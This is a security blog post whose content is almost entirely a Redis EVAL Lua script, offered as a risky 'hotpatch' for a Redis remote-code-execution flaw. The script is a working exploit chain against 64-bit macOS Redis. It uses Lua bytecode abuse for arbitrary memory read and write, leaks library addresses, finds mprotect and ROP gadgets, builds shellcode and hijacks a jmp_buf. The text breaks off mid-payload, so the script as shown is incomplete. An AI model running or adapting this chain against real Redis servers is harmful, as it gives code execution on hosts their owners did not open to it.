Based in San Francisco Bay Area, Securesql is a blog by John Menerick. His insights dissect complex systems, offering a masterclass in cyber guardianship through expert analysis and cutting-edge protective strategies.

Hotpatch Redis's RCE

Do you feel lucky?  There is an interesting "patch" which will utilize the recent Redis's RCE vulnerability to patch Redis.  If you are feeling lucky, one will want to run the below "javascript" code.

No warranties or assurances provided.  

EVAL "local fail = function(msg)\n\n  print(\"[-] \" .. msg)\n  error(msg)\nend\n\nlocal addbyte = function(b8, byte)\n  local carry = byte\n  local result = ''\n  for i=1, string.len(b8) do\n    local cb = string.byte(b8, i) + carry\n    if cb >= 256 then\n      carry = 1\n    else\n      carry = 0\n    end\n    result = result .. string.char(cb % 256)\n  end\n\n  return result\nend\n\nlocal double2string = function(x)\n  if x == nil then\n    return x\n  end\n  return struct.pack('<d', x)\nend\n\n\nlocal asdouble = loadstring((string.dump(function(x)\n  for i = x, x, 0 do\n    return i\n  end\nend):gsub('\\96%z%z\\128', '\\22\\0\\0\\128')))\n\nlocal asstring = function(x) return double2string(asdouble(x)) end\n\nlocal cstring = function(v)\n  return addbyte(asstring(v), 24)\nend\n\n\n\n\nlocal string2double = function(x)\n  local r,n = struct.unpack('<d', x)\n  return r\nend\n\nlocal subb8 = function(b8l, b8r)\n  local borrow = 0\n  local result = ''\n\n  for i=1, 8 do\n    local cb = string.byte(b8l, i) - borrow - string.byte(b8r, i)\n    if cb < 0 then\n      borrow = 1\n      cb = cb + 256\n    else\n      borrow = 0\n    end\n    result = result .. string.char(cb)\n  end\n\n  return result\nend\n\nlocal tob8 = function(n)\n  local result = \"\"\n  for i =1, 8 do\n    local next_byte = n % 256\n    result = result .. string.char(next_byte)\n    n = math.floor(n / 256)\n  end\n  return result\nend\n\nlocal toint = function(b8)\n  local result = 0\n  for i =8,1,-1 do\n    result = result * 256\n    result = result + string.byte(b8, i)\n  end\n  return result\nend\n\n\nlocal addb8 = function(b8l, b8r)\n  local carry = 0\n  local result = ''\n  for i=1, 8 do\n    local cb = string.byte(b8l, i) + carry + string.byte(b8r, i)\n    if cb >= 256 then\n      carry = 1\n    else\n      carry = 0\n    end\n    result = result .. string.char(cb % 256)\n  end\n\n  return result\nend\n\n\nlocal addint = function(b8, int)\n  return addb8(b8, tob8(int))\nend\n\nlocal subint = function(b8, int)\n  return subb8(b8, tob8(int))\nend\n\n\n\n\nlocal dump8 = function(b8)\n  if b8 == nil then\n    return \"<nil>\"\n  else\n    return string.format('%02x%02x%02x%02x%02x%02x%02x%02x', string.byte(b8, 8),string.byte(b8, 7),string.byte(b8, 6),string.byte(b8, 5),string.byte(b8, 4),string.byte(b8, 3),string.byte(b8, 2),string.byte(b8, 1))\n  end\nend\n\nlocal dump4 = function(b4)\n  return string.format('%02x%02x%02x%02x', string.byte(b4, 4),string.byte(b4, 3),string.byte(b4, 2),string.byte(b4, 1))\nend\n\n\n\n\n\nlocal word_read = nil\n\nlocal return_read_word = function(b8)\n  word_read = b8\nend\n\n\n\nlocal read_word = function(address)\n\n  local f = loadstring(string.dump(function()\n    local magic = nil\n    local function middle()\n      local upval\n      local cstring = cstring_global\n      local asstring = asstring_global\n      local b8 = word_to_read_global\n      local ret = return_global\n      local function inner()\n        upval = 'nextnext'..'t'..'m'..'papapa'..b8\n        local upval_ptr = cstring(upval)\n        magic = upval_ptr .. upval_ptr .. upval_ptr\n      end\n      inner()\n      ret(asstring(magic))\n    end\n    middle()\n  end):gsub('(\\100%z%z%z)....', '%1\\0\\0\\0\\1', 1))\n\n  local result = nil\n  local return_function = function(v)\n    result = v\n  end\n\n  local env = {cstring_global = cstring, asstring_global = asstring, word_to_read_global = address, return_read_word_global = return_read_word, return_global = return_function}\n\n  setfenv(f, env)\n  f()\n\n  return result\nend\n\n--[[ write word also corrupts the next 4 bytes after address :( const TValue *o2=(obj2); TValue *o1=(obj1); \\\n    o1->value = o2->value; o1->tt=o2->tt; ]]\nlocal write_word = function(address, value)\n  local f = loadstring(string.dump(function()\n    local magic = nil\n    local function middle()\n      local upval\n      local cstring = cstring_global\n      local string2double = string2double_global\n      local b8 = address_global\n      local value = value_to_write_global\n      local function inner()\n        upval = 'nextnext'..'t'..'m'..'papapa'..b8\n        local upval_ptr = cstring(upval)\n        magic = upval_ptr .. upval_ptr .. upval_ptr\n      end\n      inner()\n      magic = string2double(value)\n    end\n    middle()\n  end):gsub('(\\100%z%z%z)....', '%1\\0\\0\\0\\1', 1))\n\n  local env = {cstring_global = cstring, string2double_global = string2double, address_global = address, value_to_write_global = value}\n  setfenv(f, env)\n  f()\nend\n\nlocal new_lazy_stream = function(offset, size)\n  return {buffer = nil, buffer_offset = nil, start_offset = offset, current_offset = 0, size = size}\nend\n\nlocal lazy_stream_seek = function(stream, offset)\n  stream.current_offset = offset\nend\n\nlocal lazy_stream_skip = function(stream, offset)\n  stream.current_offset = stream.current_offset + offset\nend\n\nlocal lazy_stream_read = function(stream)\n  if stream.buffer == nil or stream.current_offset < stream.buffer_offset or stream.current_offset >= stream.buffer_offset + 8 then\n    --[[ dodgy floats ie repeated bytes of 0xFF will trigger multiple reads because the first word will fail then the next and so forth :( )]]\n    stream.buffer = read_word(addint(stream.start_offset, stream.current_offset))\n    stream.buffer_offset = stream.current_offset\n  end\n\n  local byte = nil\n  if stream.buffer ~= nil then\n    byte = string.byte(stream.buffer, stream.current_offset - stream.buffer_offset + 1)\n  end\n\n  stream.current_offset = stream.current_offset + 1\n  return byte\nend\n\n\nlocal lazy_stream_empty = function(stream)\n  return stream.current_offset >= stream.size\nend\n\nlocal read_uleb8 = function(stream)\n  local value = 0\n  local shift = 1\n  while true do\n    local next_byte = lazy_stream_read(stream)\n    local masked = next_byte % 0x80\n\n\n    value = value + (masked * shift)\n\n    local high_bit = next_byte - masked\n\n    if high_bit == 0 then\n      return value\n    end\n    shift = shift * math.pow(2, 7)\n  end\nend\n\n\nlocal read_string = function(stream)\n  local value = {}\n  while true do\n    local next_byte = lazy_stream_read(stream)\n    if next_byte == 0 then\n      return table.concat(value, \"\")\n    end\n    table.insert(value, string.char(next_byte))\n  end\n\nend\n\n\nlocal ALTERNATION = 256\nlocal FINAL = 257\nlocal ANY = 258\n\nlocal function alternation(list)\n  if #list == 0 then\n    fail(\"assertion failed\")\n  end\n\n  if #list == 1 then\n    return list[1]\n  else\n\n    local current = {first_branch = list[1], second_branch = list[2], byte = ALTERNATION}\n    for i=3, #list do\n      current = {first_branch = current, second_branch = list[i], byte = ALTERNATION}\n    end\n\n    return current\n  end\nend\n\nlocal function dotstar()\n  local any = {byte = ANY}\n\n  local alternation = {first_branch = nil, second_branch = any, byte = ALTERNATION}\n  any.first_branch = alternation\n  return alternation\nend\n\nlocal function join(left, right)\n  left.first_branch = right\n  return left\nend\n\nlocal function literal(literal)\n  local current = {byte = FINAL, matched = literal}\n  for i=#literal,1,-1 do\n    current = {byte = string.byte(literal, i), first_branch = current}\n  end\n\n  return current\nend\n\nlocal function addstate(list, state, list_id)\n  if state.lastlist ~= list_id then\n    table.insert(list, state)\n    state.lastlist = list_id\n    if state.byte == ALTERNATION then\n      addstate(list, state.first_branch, list_id)\n      addstate(list, state.second_branch, list_id)\n    end\n  end\nend\n\n\nlocal function re_restart(match_state, re)\n  local current_list = {}\n  local list_id = match_state.list_id + 1\n  addstate(current_list, re, list_id)\n  return {list_id = list_id, current_list = current_list}\nend\n\n\nlocal function re_start(re)\n\n  return re_restart({list_id = 0}, re)\nend\n\n\n\nlocal function re_push_byte(match_state, byte)\n  local list_id = match_state.list_id + 1\n  local next_list = {}\n  local list_id = list_id + 1\n\n  for i=1,#match_state.current_list do\n    local state = match_state.current_list[i]\n    if (state.byte == byte or state.byte == ANY) then\n      addstate(next_list, state.first_branch, list_id)\n    end\n  end\n  return {list_id = list_id, current_list = next_list}\nend\n\n\n\n\nlocal pagealign = function(b8)\n  local byte2 = string.byte(b8, 2)\n  local aligned = math.floor(byte2 / 16) * 16\n  return string.char(0, aligned) .. string.sub(b8, 3)\nend\n\nlocal findmacho = function(b8)\n\n  local b8 = pagealign(b8)\n\n  local target = string.char(0xCF, 0xFA, 0xED, 0xFE)\n\n  local page_size = string.char(0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)\n\n  while true do\n    local word = read_word(b8)\n\n    if word ~= nil then\n      local top_half = string.sub(word, 1, 4)\n      if top_half == target then\n        return b8\n      end\n    end\n    b8 = subb8(b8, page_size)\n  end\n\nend\n\nlocal readi4 = function(b8)\n  local word = read_word(b8)\n  local top_half = string.sub(word, 1, 4)\n  return struct.unpack(\"<I4\", top_half)\nend\n\n\nlocal c_length = function(s)\n  for i = 1, string.len(s) do\n    if string.byte(s, i) == 0 then\n      return i - 1\n    end\n  end\n\n  return string.len(s)\nend\n\nlocal terminate_c_string = function(s)\n  local length = c_length(s)\n  return string.sub(s, 1, length)\nend\n\n\nlocal parse_segment = function (b8, offset, segment_info)\n  local segment_name = terminate_c_string(read_word(addint(b8, offset + 8)) .. read_word(addint(b8, offset + 16)))\n  local vm_addr = read_word(addint(b8, offset + 24))\n  local vm_size = read_word(addint(b8, offset + 32))\n  local file_offset = read_word(addint(b8, offset + 40))\n\n  print(\"[*] found segment: \" .. segment_name .. \" => \" .. (dump8(vm_addr)) .. \"/\" .. dump8(file_offset))\n\n\n  segment_info[segment_name] = {vm_addr = vm_addr, file_offset = file_offset, vm_size = vm_size}\nend\n\n\nlocal parse_macho_segments = function(macho_offset, dyld_callback)\n  local commands = readi4(addbyte(macho_offset, 16))\n\n  local offset = 32\n\n  local segment_info = {}\n\n  for i=1,commands do\n    local command = readi4(addint(macho_offset, offset))\n    local size = readi4(addint(macho_offset, offset + 4))\n\n    if command == 25 then\n      parse_segment(macho_offset, offset, segment_info)\n    elseif command == 2147483682 then\n      dyld_callback(offset, segment_info)\n    end\n\n    offset = offset + size\n  end\n\n  return segment_info\nend\n\nlocal parse_libsystem_c_macho = function(macho_offset)\n\n  local callback = function(offset, segment_info)\n  end\n\n  local segment_info = parse_macho_segments(macho_offset, callback)\n\n  return segment_info\nend\n\nlocal segment_location = function(macho, segment_info, segment_name)\n\n  local text_segment = segment_info[\"__TEXT\"]\n  local target_segment = segment_info[segment_name]\n  local segment_location = addb8(subb8(target_segment.vm_addr, text_segment.vm_addr), macho)\n\n  return segment_location\nend\n\n\nlocal opcode_offset = function(macho, segment_info, lazy_binding_info_offset)\n\n  local link_edit_segment = segment_info[\"__LINKEDIT\"]\n  local text_segment = segment_info[\"__TEXT\"]\n\n\n  local offset_into_link_edit = subb8(tob8(lazy_binding_info_offset), link_edit_segment.file_offset)\n\n\n  local link_edit_location = segment_location(macho, segment_info, \"__LINKEDIT\")\n\n  return addb8(offset_into_link_edit, link_edit_location)\n\nend\n\nlocal matches_part = function(name, label, matched_so_far)\n\n  if string.len(label) > string.len(name) - matched_so_far then\n    return false\n  end\n\n  for i = 1, #label do\n    if string.byte(label, i) ~= string.byte(name, i + matched_so_far) then\n      return false\n    end\n  end\n\n  return true\nend\n\n\n\nlocal find_exported_symbol = function(stream, name)\n\n  local matched_name = 0\n\n  local name_len = string.len(name)\n\n  while not lazy_stream_empty(stream) do\n\n    local terminal_size = read_uleb8(stream)\n\n\n    if (terminal_size > 0 and name_len == matched_name) then\n      local flags = lazy_stream_read(stream)\n      local symbol_offset = read_uleb8(stream)\n      return symbol_offset\n    end\n\n    lazy_stream_skip(stream, terminal_size)\n\n    local children = lazy_stream_read(stream)\n\n\n    local matched = false\n    for i = 1, children do\n      local label = read_string(stream)\n      local node_offset = read_uleb8(stream)\n\n      if matches_part(name, label, matched_name) then\n        matched_name = matched_name + string.len(label)\n        lazy_stream_seek(stream, node_offset)\n        matched = true\n        break\n      end\n    end\n\n    if not matched then\n      return nil\n    end\n  end\n\nend\n\nlocal process_export_bindings = function(macho_offset, offset, size)\n\n\n  local mprotect = find_exported_symbol(new_lazy_stream(offset, size), \"_mprotect\")\n\n  if mprotect == nil then\n    fail(\"Failed to find mprotect\")\n  else\n    local mprotect_addr = addint(macho_offset, mprotect)\n\n    print(\"[+] found mprotect symbol \" .. dump8(mprotect_addr))\n    return mprotect_addr\n  end\n\nend\n\nlocal parse_exports_dyld_info = function(macho_offset, offset, segment_info)\n  local export_binding_info_offset = readi4(addint(macho_offset, offset + 40))\n  local export_binding_info_size = readi4(addint(macho_offset, offset + 44))\n\n  local offset = opcode_offset(macho_offset, segment_info,export_binding_info_offset)\n\n  return process_export_bindings(macho_offset, offset, export_binding_info_size)\nend\n\nlocal parse_libkernel_macho = function(macho_offset)\n\n  local mprotect_addr = nil\n  local callback = function(offset, segment_info)\n    mprotect_addr = parse_exports_dyld_info(macho_offset, offset, segment_info)\n  end\n\n  parse_macho_segments(macho_offset, callback)\n\n  return mprotect_addr\n\nend\n\nlocal process_lazy_bindings = function(offset, size)\n\n  local stream = new_lazy_stream(offset, size)\n\n  local current_symbol = {}\n  local symbols = {}\n  while not lazy_stream_empty(stream) do\n    local op = lazy_stream_read(stream)\n\n\n    local immediate = op % 16\n    local opcode = op - immediate\n\n    if opcode == 0x70 then\n      --[[BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB]]\n      current_symbol.segment = immediate\n      current_symbol.offset = read_uleb8(stream)\n\n    elseif opcode == 0x40 then\n      --[[BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM]]\n      current_symbol.name = read_string(stream)\n    elseif opcode == 0x10 then\n      --[[BIND_OPCODE_SET_DYLIB_ORDINAL_IMM]]\n      --[[ignore]]\n    elseif opcode == 0x90 then\n      --[[BIND_OPCODE_DO_BIND]]\n      print(\"[*] parsed_symbol \" .. current_symbol.name .. \" => \" .. current_symbol.segment .. \":\" .. current_symbol.offset)\n      table.insert(symbols, current_symbol)\n      local old_symbol = current_symbol\n      current_symbol = {}\n      current_symbol.segment = old_symbol.segment\n      current_symbol.offset = old_symbol.offset\n      current_symbol.name = old_symbol.name\n    elseif opcode == 0x00 then\n      --[[BIND_OPCODE_DONE]]\n      --[[ignore]]\n    else\n      fail(\"found unknown opcode in lazy bindings \" .. opcode)\n    end\n\n  end\n\n\n  return symbols\n\n\n\nend\n\nlocal parse_dyld_info = function(macho_offset, offset, segment_info)\n  local lazy_binding_info_offset = readi4(addint(macho_offset, offset + 32))\n  local lazy_binding_size =   readi4(addint(macho_offset, offset + 36))\n\n\n  local offset = opcode_offset(macho_offset, segment_info,lazy_binding_info_offset)\n\n  return process_lazy_bindings(offset, lazy_binding_size)\nend\n\nlocal find_symbol = function(symbols, symbol)\n\n  for i=1, #symbols do\n    if symbols[i].name == symbol then\n      return symbols[i]\n    end\n  end\n\n  return nil\nend\n\n\nlocal leak_macho = function(name, data_location, symbols, symbol)\n\n  local resolved_symbol = find_symbol(symbols, symbol)\n  if resolved_symbol == nil then\n    fail(\"Failed to find \" .. symbol .. \" symbol\")\n  end\n  print(\"[*] Found \" .. symbol .. \" symbol: \" .. resolved_symbol.offset)\n\n  --[[we assume the pointer is into the data segment. #TODO FIX THIS]]\n  local location = addint(data_location, resolved_symbol.offset)\n\n  local address = read_word(location)\n\n  print(\"[*] Found \" .. symbol .. \" location: \" .. dump8(address))\n\n  local macho_address = findmacho(address)\n\n  print('[*] found ' .. name .. ' macho base address: ' .. dump8(macho_address))\n\n  return macho_address\nend\n\n\nlocal parse_redis_macho = function(macho_offset)\n\n  local longjmp_location = nil\n  local libsystem_c = nil\n  local libkernel = nil\n\n  local callback = function(offset, segment_info)\n      local symbols = parse_dyld_info(macho_offset, offset, segment_info)\n\n      local data_location = segment_location(macho_offset, segment_info, \"__DATA\")\n\n\n      libsystem_c = leak_macho(\"libsystem_c\", data_location, symbols, \"_strlen\")\n      libkernel = leak_macho(\"libkernel\", data_location, symbols, \"_getrlimit\")\n\n      local longjmp = find_symbol(symbols, \"_longjmp\")\n\n      if longjmp == nil then\n        longjmp = find_symbol(symbols, \"__longjmp\")\n      end\n\n      if longjmp == nil then\n        fail(\"Failed to find _longjmp symbol\")\n      else\n        longjmp_location = read_word(addint(data_location, longjmp.offset))\n\n        print(\"[+] Found longjump jump location \" .. dump8(longjmp_location))\n      end\n\n\n\n  end\n\n  local segments = parse_macho_segments(macho_offset, callback)\n\n  return {redis = macho_offset, longjmp_address = longjmp_location, libsystem_c = libsystem_c, libkernel = libkernel, redis_segments = segments}\nend\n\n\nlocal matches = function(expected, word)\n\n  for i=1, #expected do\n    if string.byte(expected, i) ~= string.byte(word, i) then\n      return false\n    end\n  end\n\n  return true\nend\n\n\nlocal find_insn = function(name, expected, libc, offsets)\n\n  if #expected >= 8 then\n    error(\"failed assertion\")\n  end\n\n  for i=1, #offsets do\n    local addr = addint(libc, offsets[i])\n    --[[apparently we can do unaligned reads :) :)]]\n    local word = read_word(addr)\n\n\n    if (word ~= nil) and matches(expected, word) then\n\n      return addr\n    end\n  end\n\n  return nil\n\n\nend\n\nlocal function find_rops(rops, stream)\n\n  local literals = {}\n  for i,rop in ipairs(rops) do\n    literals[i] = literal(rop)\n  end\n\n  local re = join(dotstar(), alternation(literals))\n  local state = re_start(re)\n  local found_rops = {}\n  local remaining = #rops\n\n  while not lazy_stream_empty(stream) and remaining > 0 do\n    local next_byte = lazy_stream_read(stream)\n\n    if next_byte == nil then\n      state = re_restart(state, re)\n    else\n      state = re_push_byte(state, next_byte)\n    end\n\n    for i=1,#(state.current_list) do\n      local s = state.current_list[i]\n      if s.byte == FINAL then\n        if found_rops[s.matched] == nil then\n          remaining = remaining - 1\n          found_rops[s.matched] = stream.current_offset - string.len(s.matched)\n        end\n      end\n    end\n  end\n\n  return found_rops\nend\n\n-- offset search for named rops only works if rop_size <= 8 bytes because it only reads\n-- a single word. slightly dodgy\nlocal function find_rops_and_assert(named_rops, stream, libc)\n  local missing_rops = {}\n\n  local inverted = {}\n\n  for rop, detail in pairs(named_rops) do\n    local addr = find_insn(detail.name, rop, libc, detail.offsets)\n    if addr == nil then\n      print(\"[-] Missing rop at fixed location will search: \" .. detail.name)\n      table.insert(missing_rops, rop)\n    else\n      print(\"[*] Found rop: \" .. detail.name .. \" @ \" .. dump8(addr))\n      inverted[detail.name] = addr\n    end\n  end\n\n  if #missing_rops > 0 then\n    local found_rops = find_rops(missing_rops, stream)\n\n    for i=1,#missing_rops do\n      local rop = missing_rops[i]\n      if found_rops[rop] == nil then\n        fail(\"Failed to find rop: \" .. named_rops[rop].name)\n      else\n        local addr = addint(stream.start_offset, found_rops[rop])\n        local name = named_rops[rop].name\n        print(\"[*] Found rop: \" .. name .. \" @ \" .. dump8(addr))\n        inverted[name] = addr\n      end\n    end\n  end\n\n  return inverted\n\nend\n\nlocal copy_words = function(from, n)\n  local buf = {}\n  for i=1,n do\n    buf[i] = read_word(from)\n    from = addbyte(from, 8)\n  end\n\n  buf = table.concat(buf,\"\")\n\n  return buf\nend\n\n\nlocal check_system = function()\n-- os:Darwin 14.3.0 x86_64\n-- arch_bits:64\n\n  local info = redis.call(\"INFO\")\n\n  local os = string.match(info, \"os:([^\\r\\n]*)\")\n\n  if string.find(os, \"Darwin\") then\n    print(\"[*] Matches OSX => \" .. os)\n  else\n    fail(\"Not OSX => \" .. os)\n  end\n\n  local arch_bits = string.match(info, \"arch_bits:([^\\r\\n]*)\")\n\n  if arch_bits == \"64\" then\n    print(\"[*] 64 Bit\")\n  else\n    fail(\"Not 64 Bit => \" .. arch_bits)\n  end\nend\n\nlocal check_bytecode = function()\n\n  local f = loadstring(string.dump(function() end))\n\n  if f == nil then\n    fail(\"Loading byte code not supported\")\n  else\n    print(\"[*] Loading byte code supported\")\n  end\nend\n\n\nlocal find_fparser_cmp = function(program_information)\n  local redis_text_segment = program_information.redis_segments[\"__TEXT\"]\n  local stream = new_lazy_stream(program_information.redis, toint(redis_text_segment.vm_size))\n\n  local re = join(dotstar(), literal(string.char(0x41, 0x83, 0xff, 0x1b)))\n  local state = re_start(re)\n  local found = {}\n\n  local visited = {}\n\n  while not lazy_stream_empty(stream) do\n    local next_byte = lazy_stream_read(stream)\n\n\n    if next_byte == nil then\n      state = re_restart(state, re)\n    else\n      state = re_push_byte(state, next_byte)\n    end\n\n    for i=1,#(state.current_list) do\n      local s = state.current_list[i]\n      if s.byte == FINAL then\n\n        table.insert(found, stream.current_offset - string.len(s.matched))\n      end\n    end\n  end\n\n\n  if #found == 1 then\n    print(\"[*] found cmp   r15, 0x1b\")\n  else\n    fail(\"could not find unique cmp r15,0x1b \" .. #found)\n  end\n\n  local cmp_addr = addint(stream.start_offset, found[1])\n\n  print(\"[*] found cmp @ \" .. dump8(cmp_addr))\n\n  return cmp_addr\nend\n\n\ncheck_system()\n\ncheck_bytecode()\n\nlocal co = coroutine.wrap(function() end)\n\n\nlocal addr = read_word(addbyte(asstring(co), 32))\n\nlocal macho_address = findmacho(addr)\n\nprint('[*] found macho base address: ' .. dump8(macho_address))\n\n\n\nlocal program_information = parse_redis_macho(macho_address)\n\n\nlocal mprotect_addr  = parse_libkernel_macho(program_information.libkernel)\nlocal libc_segments = parse_libsystem_c_macho(program_information.libsystem_c)\n\nlocal longjmp_addr = program_information.longjmp_address\n\nlocal named_rops = {}\nnamed_rops[string.char(0x5E,0x5D,0xC3)] = {name = \"poprsipoprbp\", offsets = {0x1b83, 0x144b}}\nnamed_rops[string.char(0x5F,0x5D,0xC3)] = {name = \"poprdipoprbp\", offsets = {0x1d08, 0x15ee}}\nnamed_rops[string.char(0x5B, 0x41, 0x5E, 0x5D, 0xC3)] = {name = \"poprbxpopr14poprbp\", offsets = {0x1b81,0x1449}}\nnamed_rops[string.char(0x4C, 0x89, 0xF2, 0xFF, 0xD3)] = {name = \"movrdxr14callrbx\", offsets = {0x642f4,0x604f0}}\n\nlocal target_instruction = find_fparser_cmp(program_information)\n\nlocal libc_text_segment = libc_segments[\"__TEXT\"]\n\n-- we assume vm_addr == 0\n\nlocal libc_text_stream = new_lazy_stream(program_information.libsystem_c, toint(libc_text_segment.vm_size))\n\nlocal rop_addresses = find_rops_and_assert(named_rops, libc_text_stream, program_information.libsystem_c)\n\nlocal poprbp = addint(rop_addresses.poprsipoprbp, 1)\n\n\nlocal dummy = '\\1\\1\\1\\1\\1\\1\\1\\1'\nlocal null = '\\0\\0\\0\\0\\0\\0\\0\\0'\n\n\n\nlocal shellcode = nil\n\nlocal payload_str = nil\n\nlocal old_jump_buf = nil\n\ncollectgarbage()\n\nco = coroutine.create(function ()\n  local stack_pointer = read_word(addbyte(asstring(co), 8 * 21))\n  print(\"[*] leaked stack pointer: \" .. dump8(stack_pointer))\n\n  local jmp_buf_eip = addint(stack_pointer, 64)\n  local jmp_buf_sp = addint(stack_pointer, 24)\n\n  local existing_eip = read_word(jmp_buf_eip)\n\n  print(\"[*] old jump_buf eip \" .. dump8(existing_eip))\n\n  local existing_sp = read_word(jmp_buf_sp)\n\n  print(\"[*] existing sp \" .. dump8(existing_sp))\n\n\n\n  old_jump_buf = copy_words(stack_pointer, 48)\n\n\n  local old_jump_buf_addr = addint(cstring(old_jump_buf), 8)\n\n  shellcode =\n    -- 48 bf VALUE    movabs    rdi,VALUE\n    string.char(0x48,0xbf) .. pagealign(target_instruction) ..\n    -- 48 c7 c6 00 20 00 00    mov    rsi,0x2000\n    string.char(0x48, 0xc7, 0xc6, 0x00, 0x20, 0x00, 0x00) ..\n    -- 48 c7 c2 07 00 00 00    mov    rdx,0x7\n    string.char(0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00) ..\n\n    -- 48 b8 VALUE movabs rax, VALUE\n    string.char(0x48, 0xb8) .. mprotect_addr ..\n\n    -- ff d0                   call   rax\n\n    string.char(0xff, 0xd0) ..\n\n    -- 48 bf VALUE    movabs    rdi,VALUE\n    string.char(0x48,0xbf) .. target_instruction ..\n\n    -- c7 07 VALUE       mov    DWORD PTR [rdi],VALUE\n\n    string.char(0xc7, 0x07) .. string.char(0x48, 0x83, 0xfc, 0x1b) ..\n\n    -- restore permissions\n\n    -- 48 bf VALUE    movabs    rdi,VALUE\n    string.char(0x48,0xbf) .. pagealign(target_instruction) ..\n    -- 48 c7 c6 00 20 00 00    mov    rsi,0x2000\n    string.char(0x48, 0xc7, 0xc6, 0x00, 0x20, 0x00, 0x00) ..\n    -- 48 c7 c2 05 00 00 00    mov    rdx,0x5\n    string.char(0x48, 0xc7, 0xc2, 0x05, 0x00, 0x00, 0x00) ..\n\n    -- ret\n    string.char(0xc3)\n\n  local shellcode_ptr = cstring(shellcode)\n\n  print(\"[*] shellcode_ptr \" .. dump8(shellcode_ptr))\n\n  local rdi = pagealign(shellcode_ptr)\n  local rsi = tob8(8192)\n  local rdx_all = tob8(7) -- PROT_READ | PROT_WRITE | PROT_EXEC\n  local rdx_read_write = tob8(3) -- PROT_READ | PROT_WRITE\n\n  local payload = {\n          --[[ padding for our fake stack. `system` calls into the dynamic linker because of stubbed crap. so stack can get quite big. 1024 bytes => stack overflow and corruption of lua/redis heap ]]\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\n          